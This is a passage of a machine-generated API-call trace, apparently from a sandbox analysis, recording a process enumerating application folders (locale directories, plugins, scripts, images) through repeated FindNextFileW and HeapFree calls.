ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0201.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.354] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0201.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.354] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0201.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.355] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0201.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.355] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0201.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.355] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0201.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.355] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0201.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.355] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0201.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.356] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0201.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.356] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0201.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.356] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0201.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.356] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0201.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.356] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0201.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.357] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0201.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.357] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0201.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.357] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0201.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.357] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0201.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.357] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0201.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.358] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0201.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.358] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0201.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.358] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0201.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.358] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0201.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.358] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0201.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.359] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0201.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.359] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0201.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.359] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0201.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.359] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0201.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.359] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0201.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.360] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0201.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.360] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0201.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.360] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0201.360] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0201.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0201.360] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0201.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.360] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0201.361] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0201.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0201.361] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0201.361] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0201.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.361] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0201.361] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0201.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0201.363] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fss", cAlternateFileName="")) returned 1 [0201.364] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.364] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1 [0201.366] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.366] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0201.366] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0201.366] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0201.366] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 1 [0201.369] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: 